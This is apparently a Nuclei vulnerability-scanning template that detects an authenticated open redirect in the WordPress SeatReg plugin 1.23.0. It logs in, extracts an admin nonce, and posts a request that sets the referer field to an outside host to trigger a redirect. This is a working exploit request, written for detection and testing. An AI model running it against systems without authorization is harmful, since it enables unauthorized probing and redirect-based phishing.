id: seatreg-redirect

info:
  name: WordPress Plugin ‘SeatReg’  - Open Redirect
  author: Mariam Tariq
  severity: medium
  description: |
    WordPress SeatReg plugin version 1.23.0 suffers from an open redirection vulnerability.
  reference:
    - https://packetstormsecurity.com/files/167888/WordPress-SeatReg-1.23.0-Open-Redirect.html
  metadata:
    verified: true
    max-request: 3
  tags: redirect,packetstorm,seatreg,wp-plugin,wp,wordpress,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=seatreg-welcome HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        new-registration-name=test&action=seatreg_create_submit&seatreg-admin-nonce={{seatreg-admin-nonce}}&_wp_http_referer=http://interact.sh&submit=Create+new+registration

    matchers:
      - type: dsl
        dsl:
          - status_code_3 == 302
          - contains(header_3, 'http://interact.sh')
        condition: and

    extractors:
      - type: regex
        name: seatreg-admin-nonce
        part: body
        group: 1
        regex:
          - '"seatreg\-admin\-nonce" value="([0-9a-z]+)"'
        internal: true
# digest: 490a00463044022042b9aaa434c1f11207dfeb87b4a5a47ac883db420116738f08780372e06cf2310220308ef058c398ce15212a78101f48c44657e2877d3d54dd2efba12e282d1debbc:922c64590222798bb761d5b6d8e72950